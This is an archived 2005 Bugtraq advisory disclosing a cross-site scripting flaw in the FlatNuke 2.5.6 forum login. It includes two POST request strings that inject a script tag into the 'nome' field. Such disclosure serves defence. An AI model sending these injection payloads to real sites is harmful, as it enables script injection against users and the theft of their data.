Flat Nuke Cross Site Scripting

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Flat Nuke Cross Site Scripting
From: alex@xxxxxxxxxxxxx
Date: 24 Oct 2005 00:05:45 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Web Site: 

Vulnerable: FlatNuke <= 2.5.6 

This script is possibly vulnerable to Cross Site Scripting (XSS) attacks

Malicious users may inject JavaScript, VBScript, ActiveX,  into a vulnerable 
application to fool a user in order to gather data from them.

Affects http://[target]TEST/flatnuke-2.5.6/forum/index.php


The script has been tested with these POST variables: 

op=login&nome=<script>alert('LOL');</script>&regpass=1&reregpass=1&anag=1&email=1&homep=http%3A%2F%2F&prof=1&prov=1&ava=1&url_avatar=1&firma=1


op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1

Best Regards
Alex

Prev by Date: Nuked klan 1.7: SQL vulnerability
Next by Date: iDEFENSE Security Advisory 10.24.05: SCO Openserver backupsh 'Home' Buffer Overflow Vulnerability
Previous by thread: Nuked klan 1.7: SQL vulnerability
Next by thread: iDEFENSE Security Advisory 10.24.05: SCO Openserver backupsh 'Home' Buffer Overflow Vulnerability
Index(es):
- Date
- Thread